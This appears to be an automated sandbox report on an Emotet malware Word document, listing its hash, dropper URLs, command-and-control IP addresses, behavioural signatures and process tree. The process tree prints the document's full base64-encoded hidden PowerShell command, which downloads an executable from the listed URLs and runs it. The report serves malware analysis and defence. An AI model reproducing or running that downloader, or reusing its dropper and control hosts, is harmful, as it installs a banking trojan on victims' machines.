Overview

overview

10

task1

 

10

task2

 

10

Analysis

  • max time kernel
    132s
  • resource
    win10v191014
  • submitted
    09/12/2019, 13:55

Sharing

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General

  • Target
    Docs_9d7f3caa367ce2f658699461660b4254.38.doc
  • Sample191209-9g7xt74zvx
  • SHA256 918b8d165836e26ba2c38b5ea59b140cd7dd7d41244feedcc11856de22af244d
Score
10/10
evasiontrojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://www.alfalah-ent.com/cms/a7rwpyxb9-k33-1101120868/
  • exe.dropper

    https://raasset.com/x/crHctWU/
  • exe.dropper

    http://alexandrearealty.com/tmp/OyjFYg/
  • exe.dropper

    http://mehuaedxb.com/css/qIkFIs/
  • exe.dropper

    http://mosaiclabel.com/4f9xnykaf/amz4jg4-x3i-459569728/

Extracted

Family

  • emotet

C2

  • 24.27.122.202:80

  • 67.171.182.231:80

  • 190.171.135.235:80

  • 103.9.145.19:8080

  • 46.105.128.215:8080

  • 172.105.213.30:80

  • 69.30.205.162:7080

  • 115.179.91.58:80

  • 181.44.166.242:80

  • 78.46.87.133:8080

  • 81.213.145.45:443

  • 83.156.88.159:80

  • 210.111.160.220:80

  • 195.191.107.67:80

  • 192.241.220.183:8080

  • 1.32.54.12:8080

  • 192.161.190.171:8080

  • 190.189.79.73:80

  • 122.11.164.183:80

  • 41.77.74.214:443

rsa_pubkey.plain

Signatures

  • Windows security modification 2 TTPs 2 IoCs
    evasiontrojan
  • Checks system information in the registry 2 TTPs 2 IoCs

    System information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Drops file in System32 directory 6 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

    trojanbankeremotet
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Suspicious behavior: EmotetMutantsSpam 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_9d7f3caa367ce2f658699461660b4254.38.doc" /o ""
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:5044
  • C:\Windows\system32\SppExtComObj.exe
    C:\Windows\system32\SppExtComObj.exe -Embedding
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4604
    • C:\Windows\System32\SLUI.exe
      "C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent
      2⤵
        PID:3656
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABJAGwAdwB3AGsAZwBiAHIAcgA9ACcATQBsAHkAZABmAHQAcQBxAGgAJwA7ACQAVABpAHQAdQBjAGUAcgBzAGkAaQBzACAAPQAgACcAOQAzADgAJwA7ACQASQBvAGkAZgBiAHgAZAB6AGoAdQB2AGYAPQAnAE0AYwByAHQAeABiAGkAbgBpAHEAZgBuACcAOwAkAFkAYwBvAGQAbwBqAG4AeQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAVABpAHQAdQBjAGUAcgBzAGkAaQBzACsAJwAuAGUAeABlACcAOwAkAFMAYwB3AGkAdQByAG4AaQBjAGIAYQA9ACcAQgB3AHIAcQBzAGwAbgBoAG4AeQBvACcAOwAkAE0AbABtAGcAZgB1AHAAbwB4AGUAdQBwAHUAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4AZQBUAC4AdwBFAGIAQwBsAGkARQBuAHQAOwAkAEkAaABrAG8AbQBoAHQAYwA9ACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGEAbABmAGEAbABhAGgALQBlAG4AdAAuAGMAbwBtAC8AYwBtAHMALwBhADcAcgB3AHAAeQB4AGIAOQAtAGsAMwAzAC0AMQAxADAAMQAxADIAMAA4ADYAOAAvACoAaAB0AHQAcABzADoALwAvAHIAYQBhAHMAcwBlAHQALgBjAG8AbQAvAHgALwBjAHIASABjAHQAVwBVAC8AKgBoAHQAdABwADoALwAvAGEAbABlAHgAYQBuAGQAcgBlAGEAcgBlAGEAbAB0AHkALgBjAG8AbQAvAHQAbQBwAC8ATwB5AGoARgBZAGcALwAqAGgAdAB0AHAAOgAvAC8AbQBlAGgAdQBhAGUAZAB4AGIALgBjAG8AbQAvAGMAcwBzAC8AcQBJAGsARgBJAHMALwAqAGgAdAB0AHAAOgAvAC8AbQBvAHMAYQBpAGMAbABhAGIAZQBsAC4AYwBvAG0ALwA0AGYAOQB4AG4AeQBrAGEAZgAvAGEAbQB6ADQAagBnADQALQB4ADMAaQAtADQANQA5ADUANgA5ADcAMgA4AC8AJwAuACIAUwBQAGAATABJAFQAIgAoACcAKgAnACkAOwAkAE0AdQBnAHIAegBuAGoAbwBnAGcAPQAnAEwAYgBkAGUAYQBxAHMAZABtAGcAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEMAbgBnAGQAYgBpAGsAagBzAHEAbAAgAGkAbgAgACQASQBoAGsAbwBtAGgAdABjACkAewB0AHIAeQB7ACQATQBsAG0AZwBmAHUAcABvAHgAZQB1AHAAdQAuACIAZABPAHcAbgBMAGAATwBgAEEAZABmAGAASQBMAEUAIgAoACQAQwBuAGcAZABiAGkAawBqAHMAcQBsACwAIAAkAFkAYwBvAGQAbwBqAG4AeQApADsAJABBAG4AYwB6AGgAZQBkAGkAaQBpAGUAPQAnAEsAYgBuAGsAYQB1AHAAcwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFkAYwBvAGQAbwBqAG4AeQApAC4AIgBMAEUAYABOAGcAVABIACIAIAAtAGcAZQAgADIAMgA5ADIAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAHQAYABBAFIAdAAiACgAJABZAGMAbwBkAG8AagBuAHkAKQA7ACQASgBjAG4AaAB2AHcAegBmAGQAcAA9ACcATABrAGgAYwBkAHEAZQBkAHcAawAnADsAYgByAGUAYQBrADsAJABQAGYAdABtAGwAYgB4AHcAZwBzAHAAPQAnAFcAbQBsAGkAeQBwAG0AcwBwAGIAYQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABNAGMAegBkAG4AegBhAHgAcgBxAGQAbgA9ACcAUgB2AGYAdAB1AGIAbABnACcA
      1⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      • Suspicious use of AdjustPrivilegeToken
      PID:4780
      • C:\Users\Admin\938.exe
        "C:\Users\Admin\938.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        PID:4332
        • C:\Users\Admin\938.exe
          --1d0cddc
          3⤵
          • Drops file in System32 directory
          • Executes dropped EXE
          • Suspicious behavior: EmotetMutantsSpam
          • Suspicious use of SetWindowsHookEx
          PID:3708
    • C:\Windows\SysWOW64\sensorinbox.exe
      "C:\Windows\SysWOW64\sensorinbox.exe"
      1⤵
      • Suspicious use of WriteProcessMemory
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      PID:4004
      • C:\Windows\SysWOW64\sensorinbox.exe
        --7623ae62
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Executes dropped EXE
        • Suspicious behavior: EmotetMutantsSpam
        • Suspicious use of SetWindowsHookEx
        PID:4156
    • \??\c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s BITS
      1⤵
      • Drops file in Windows directory
      PID:4180
    • \??\c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
      1⤵
        PID:3732
      • \??\c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s DoSvc
        1⤵
          PID:4636
        • \??\c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k unistacksvcgroup
          1⤵
            PID:5052
          • \??\c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s wscsvc
            1⤵
              PID:4496

            Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

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                  Downloads

                  memory/3708-11-0x0000000000800000-0x0000000000817000-memory.dmp
                  Download

                  memory/3708-12-0x0000000000400000-0x00000000004A2000-memory.dmp
                  Download

                  memory/4004-14-0x0000000000DD0000-0x0000000000DE7000-memory.dmp
                  Download

                  memory/4156-16-0x0000000000D20000-0x0000000000D37000-memory.dmp
                  Download

                  memory/4156-17-0x0000000000400000-0x00000000004A2000-memory.dmp
                  Download

                  memory/4332-9-0x0000000002230000-0x0000000002247000-memory.dmp
                  Download

                  memory/5044-5-0x000001D23C864000-0x000001D23C874000-memory.dmp
                  Download